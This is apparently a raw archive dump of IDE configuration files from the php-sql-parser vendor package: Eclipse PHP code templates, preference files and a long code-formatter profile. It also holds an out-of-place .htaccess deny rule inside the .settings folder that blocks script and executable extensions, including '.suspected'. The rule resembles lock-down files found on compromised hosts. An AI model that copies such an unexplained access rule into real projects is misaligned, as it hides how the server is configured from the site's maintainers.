id\="org.eclipse.php.ui.editor.templates.php.codetemplates.typecomment" name\="typecomment">/**\n * Enter description here ...\n * @author ${user}\n *\n * ${tags}\n */</template><template autoinsert\="true" context\="php_fieldcomment_context" deleted\="false" description\="Comment for fields" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.fieldcomment" name\="fieldcomment">/**\n * Enter description here ...\n * @var ${field_type}\n */</template><template autoinsert\="true" context\="php_methodcomment_context" deleted\="false" description\="Comment for non-overriding methods" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.methodcomment" name\="methodcomment">/**\n * Enter description here ...\n * ${cursor}${tags}\n */</template><template autoinsert\="true" context\="php_overridecomment_context" deleted\="false" description\="Comment for overriding methods" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.overridecomment" name\="overridecomment">/* (non-PHPdoc)\n * ${see_to_overridden}\n */</template><template autoinsert\="true" context\="php_delegatecomment_context" deleted\="false" description\="Comment for delegate methods" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.delegatecomment" name\="delegatecomment">/**\n * ${tags}\n * ${see_to_target}\n */</template><template autoinsert\="true" context\="php_newtype_context" deleted\="false" description\="Newly created files" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.newtype" name\="newtype">${filecomment}\n${package_declaration}\n\n${typecomment}\n${type_declaration}</template><template autoinsert\="false" context\="php_classbody_context" deleted\="false" description\="Code in new class type bodies" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.classbody" name\="classbody">/**\n * @author  Andr\u00E9 Rothe &lt;andre.rothe@phosco.info&gt;\n * @license http\://www.debian.org/misc/bsd.license  BSD License (3 Clause)\n */</template><template autoinsert\="false" context\="php_interfacebody_context" deleted\="false" description\="Code in new interface type bodies" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.interfacebody" name\="interfacebody">\n</template><template autoinsert\="true" context\="php_catchblock_context" deleted\="false" description\="Code in new catch blocks" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.catchblock" name\="catchblock">// ${TODO} Auto-generated catch block\n${exception_var}.printStackTrace();</template><template autoinsert\="true" context\="php_methodbody_context" deleted\="false" description\="Code in created method stubs" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.methodbody" name\="methodbody">// ${TODO} Auto-generated method stub\n${body_statement}</template><template autoinsert\="true" context\="php_constructorbody_context" deleted\="false" description\="Code in created constructor stubs" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.constructorbody" name\="constructorbody">${body_statement}\n// ${TODO} Auto-generated constructor stub</template><template autoinsert\="true" context\="php_getterbody_context" deleted\="false" description\="Code in created getters" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.getterbody" name\="getterbody">return ${field};</template><template autoinsert\="true" context\="php_setterbody_context" deleted\="false" description\="Code in created setters" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.setterbody" name\="setterbody">${field} \= ${param};</template><template autoinsert\="true" context\="php_new_file_context" deleted\="false" description\="Simple php file" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.author" name\="New simple PHP file">&lt;?php\n${cursor}</template><template autoinsert\="true" context\="php_new_file_context" deleted\="false" description\="html 4.01 frameset" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.html.frameset" name\="New PHP file - HTML frameset">&lt;\!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"&gt;\n&lt;html&gt;\n&lt;head&gt;\n&lt;meta http-equiv\="Content-Type" content\="text/html; charset\=${encoding}"&gt;\n&lt;title&gt;Insert title here&lt;/title&gt;\n&lt;/head&gt;\n&lt;frameset&gt;\n    &lt;frame&gt;\n    &lt;frame&gt;\n    &lt;noframes&gt;\n    &lt;body&gt;\n    &lt;p&gt;This page uses frames. The current browser you are using does not support frames.&lt;/p&gt;\n    &lt;?php\n${cursor}\n\t?&gt;\n    &lt;/body&gt;\n    &lt;/noframes&gt;\n&lt;/frameset&gt;\n&lt;/html&gt;</template></templates>
PK     \      D  vendor/greenlion/php-sql-parser/.settings/org.eclipse.php.core.prefsnu [        #Tue Apr 15 09:40:02 CEST 2014
eclipse.preferences.version=1
include_path=0;/PHP-SQL-Parser
org.eclipse.php.core.phpDoc=false
phpVersion=php5.3
useShortTags=true
PK     \k      P  vendor/greenlion/php-sql-parser/.settings/org.eclipse.ltk.core.refactoring.prefsnu [        #Tue Apr 15 09:40:02 CEST 2014
eclipse.preferences.version=1
org.eclipse.ltk.core.refactoring.enable.project.refactoring.history=false
PK     \;    d  vendor/greenlion/php-sql-parser/.settings/org.eclipse.php.debug.core.Debug_Process_Preferences.prefsnu [        #Tue Apr 15 09:40:02 CEST 2014
DefaultProjectBasePath=/PHP-SQL-Parser
eclipse.preferences.version=1
org.eclipse.php.debug.core.use-project-settings=true
org.eclipse.php.debug.coredefaultPHP=PHP 5.3.2 (CGI)
org.eclipse.php.debug.coreoutput_encoding=UTF-8
org.eclipse.php.debug.corephp_debugger_id=org.eclipse.php.debug.core.zendDebugger
org.eclipse.php.debug.corestop_at_first_line_string=true
org.eclipse.php.debug.coretransfer_encoding=UTF-8
PK     \Sʉ      3  vendor/greenlion/php-sql-parser/.settings/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Ug  g  :  vendor/greenlion/php-sql-parser/.eclipse-PHP-formatter.xmlnu [        <?xml version="1.0" encoding="UTF-8" standalone="no"?>
<profiles version="1">
<profile kind="PDTToolsCodeFormatterProfile" name="PhOSCo PHP" version="1">
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_in_empty_block" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.indent_body_declarations_compare_to_type_header" value="true"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_superinterfaces" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_method_declaration_parameters" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_constructor_declaration_throws" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.indent_switchstatements_compare_to_cases" value="true"/>
<setting id="jp.sourceforge.pdt_tools.formatter.join_lines_in_comments" value="true"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_superinterfaces" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_type_arguments" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_constructor_declaration_parameters" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.blank_lines_between_type_declarations" value="1"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_bracket_in_array_reference" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_bracket_in_array_allocation_expression" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.continuation_indentation_for_array_initializer" value="2"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_throws_clause_in_constructor_declaration" value="16"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_throws_clause_in_method_declaration" value="16"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_paren_in_synchronized" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.wrap_before_binary_operator" value="true"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_constructor_declaration_parameters" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_explicitconstructorcall_arguments" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.lineSplit" value="120"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_angle_bracket_in_type_arguments" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.align_type_members_on_columns" value="false"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_brace_in_anonymous_type_declaration" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_bracket_in_array_allocation_expression" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_colon_in_assert" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.brace_position_for_anonymous_type_declaration" value="end_of_line"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_paren_in_constructor_declaration" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_paren_in_synchronized" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.put_empty_statement_on_new_line" value="true"/>
<setting id="jp.sourceforge.pdt_tools.formatter.wrap_array_in_arguments" value="true"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_arguments_in_allocation_expression" value="16"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_paren_in_constructor_declaration" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_superclass_in_type_declaration" value="16"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_after_label" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_brace_in_array_initializer" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_selector_in_method_invocation" value="2"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_prefix_operator" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_in_empty_anonymous_type_declaration" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_paren_in_catch" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_paren_in_parenthesized_expression" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_at_end_of_file_if_missing" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_method_declaration" value="0"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_paren_in_for" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_assignment_operator" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_paren_in_if" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_between_brackets_in_array_type_reference" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_multiple_fields" value="16"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_brace_in_constructor_declaration" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_conditional_expression" value="80"/>
<setting id="jp.sourceforge.pdt_tools.formatter.indent_empty_lines" value="false"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_double_arrow_operator" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_for_inits" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_explicitconstructorcall_arguments" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_semicolon_in_for" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_binary_operator" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_paren_in_catch" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_brace_in_type_declaration" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.indent_statements_compare_to_block" value="true"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_bracket_in_array_reference" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_colon_in_for" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.use_on_off_tags" value="false"/>
<setting id="jp.sourceforge.pdt_tools.formatter.brace_position_for_type_declaration" value="end_of_line"/>
<setting id="jp.sourceforge.pdt_tools.formatter.blank_lines_before_new_chunk" value="1"/>
<setting id="jp.sourceforge.pdt_tools.formatter.indentation.size" value="4"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_type_parameters" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.blank_lines_between_import_groups" value="1"/>
<setting id="jp.sourceforge.pdt_tools.formatter.blank_lines_before_first_class_body_declaration" value="0"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_type_parameters" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.never_indent_line_comments_on_first_column" value="false"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_bracket_in_array_allocation_expression" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_method_invocation_arguments" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_and_in_type_parameter" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_double_colon_operator" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_method_declaration_throws" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.brace_position_for_block" value="end_of_line"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_paren_in_catch" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.brace_position_for_array_initializer" value="end_of_line"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_colon_in_default" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_colon_in_for" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.blank_lines_before_imports" value="1"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_method_declaration_parameters" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_array_initializer" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.keep_else_statement_on_same_line" value="false"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_between_empty_parens_in_method_declaration" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_allocation_expression" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_binary_expression" value="16"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_method_declaration_throws" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_paren_in_while" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.blank_lines_after_package" value="1"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_question_in_wildcard" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_before_while_in_do_statement" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_for_increments" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_multiple_local_declarations" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_paren_in_cast" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_double_arrow_operator_with_filler" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_multiple_field_declarations" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_assignment" value="0"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_angle_bracket_in_parameterized_type_reference" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_colon_in_labeled_statement" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.indent_switchstatements_compare_to_switch" value="false"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_between_empty_parens_in_method_invocation" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_arguments_in_explicit_constructor_call" value="16"/>
<setting id="jp.sourceforge.pdt_tools.formatter.indent_breaks_compare_to_cases" value="true"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_paren_in_cast" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_question_in_wildcard" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_question_in_conditional" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.tabulation.size" value="4"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_ellipsis" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_angle_bracket_in_type_parameters" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_semicolon_in_for" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_for_inits" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_brace_in_method_declaration" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_double_colon_operator" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.compact_else_if" value="true"/>
<setting id="jp.sourceforge.pdt_tools.formatter.keep_then_statement_on_same_line" value="false"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_closing_paren_in_cast" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_before_catch_in_try_statement" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_object_operator" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_paren_in_constructor_declaration" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_paren_in_parenthesized_expression" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_ellipsis" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_parameters_in_constructor_declaration" value="16"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_paren_in_method_declaration" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_colon_in_assert" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.format_html_region" value="false"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_postfix_operator" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_multiple_local_declarations" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_bracket_in_array_reference" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.wrap_outer_expressions_when_nested" value="true"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_and_in_type_parameter" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_brace_in_array_initializer" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.use_tabs_only_for_leading_indentations" value="false"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_question_in_conditional" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_semicolon" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_between_empty_braces_in_array_initializer" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_colon_in_conditional" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_between_empty_parens_in_constructor_declaration" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_paren_in_for" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_brace_in_switch" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_angle_bracket_in_type_arguments" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_parameters_in_method_declaration" value="16"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_paren_in_switch" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_concat_expression" value="16"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_expressions_in_array_initializer" value="18"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_paren_in_parenthesized_expression" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_binary_operator" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_colon_in_case" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.brace_position_for_block_in_case" value="end_of_line"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_after_opening_brace_in_array_initializer" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_multiple_field_declarations" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_unary_operator" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_angle_bracket_in_type_parameters" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_colon_in_conditional" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_type_arguments" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_parenthesized_expression_in_throw" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.align_php_region_with_open_tag" value="false"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_paren_in_method_invocation" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.brace_position_for_constructor_declaration" value="end_of_line"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_superinterfaces_in_type_declaration" value="16"/>
<setting id="jp.sourceforge.pdt_tools.formatter.number_of_empty_lines_to_preserve" value="1"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_angle_bracket_in_parameterized_type_reference" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.wrap_before_concat_operator" value="true"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_constructor_declaration_throws" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_paren_in_method_invocation" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_parenthesized_expression_in_return" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_after_opening_paren_in_function_call" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_brace_in_block" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.continuation_indentation" value="2"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_compact_if" value="16"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_parameterized_type_reference" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_angle_bracket_in_type_parameters" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.brace_position_for_method_declaration" value="end_of_line"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_paren_in_switch" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.blank_lines_before_member_type" value="1"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_paren_in_method_declaration" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_paren_in_method_declaration" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_in_empty_type_declaration" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.number_of_blank_lines_at_beginning_of_method_body" value="0"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_closing_brace_in_block" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_arguments_in_method_invocation" value="16"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_closing_angle_bracket_in_type_parameters" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.never_indent_block_comments_on_first_column" value="false"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_paren_in_method_invocation" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_before_closing_paren_in_function_call" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_bracket_in_array_type_reference" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_double_arrow_operator" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_paren_in_for" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_paren_in_while" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_concat_operator" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.format_guardian_clause_on_one_line" value="false"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_paren_in_synchronized" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_parenthesized_expression_in_echo" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.blank_lines_before_field" value="0"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_before_finally_in_try_statement" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_closing_paren_in_while" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_unary_operator" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_assignment_operator" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_after_opening_paren_in_function_call_in_arguments" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_paren_in_if" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.brace_position_for_switch" value="end_of_line"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_postfix_operator" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_prefix_operator" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_parameterized_type_reference" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_before_closing_brace_in_array_initializer" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.blank_lines_before_method" value="0"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_brace_in_namespace_declaration" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_colon_in_labeled_statement" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_after_opening_brace_in_array_initializer_in_arguments" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.indent_statements_compare_to_body" value="true"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_concat_operator" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_object_operator" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_between_empty_brackets_in_array_allocation_expression" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.tabulation.char" value="space"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_colon_in_case" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_brace_in_array_initializer" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.blank_lines_before_package" value="0"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_array_initializer" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_in_empty_method_body" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_new_line_before_else_in_if_statement" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_method_invocation_arguments" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_paren_in_switch" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.indent_body_declarations_compare_to_namespace" value="false"/>
<setting id="jp.sourceforge.pdt_tools.formatter.join_wrapped_lines" value="true"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_closing_angle_bracket_in_type_arguments" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.keep_imple_if_on_one_line" value="false"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_angle_bracket_in_parameterized_type_reference" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_opening_angle_bracket_in_type_arguments" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.brace_position_for_namespace_declaration" value="end_of_line"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_after_comma_in_for_increments" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_comma_in_allocation_expression" value="do not insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.blank_lines_after_imports" value="1"/>
<setting id="jp.sourceforge.pdt_tools.formatter.insert_space_before_opening_paren_in_if" value="insert"/>
<setting id="jp.sourceforge.pdt_tools.formatter.keep_empty_array_initializer_on_one_line" value="false"/>
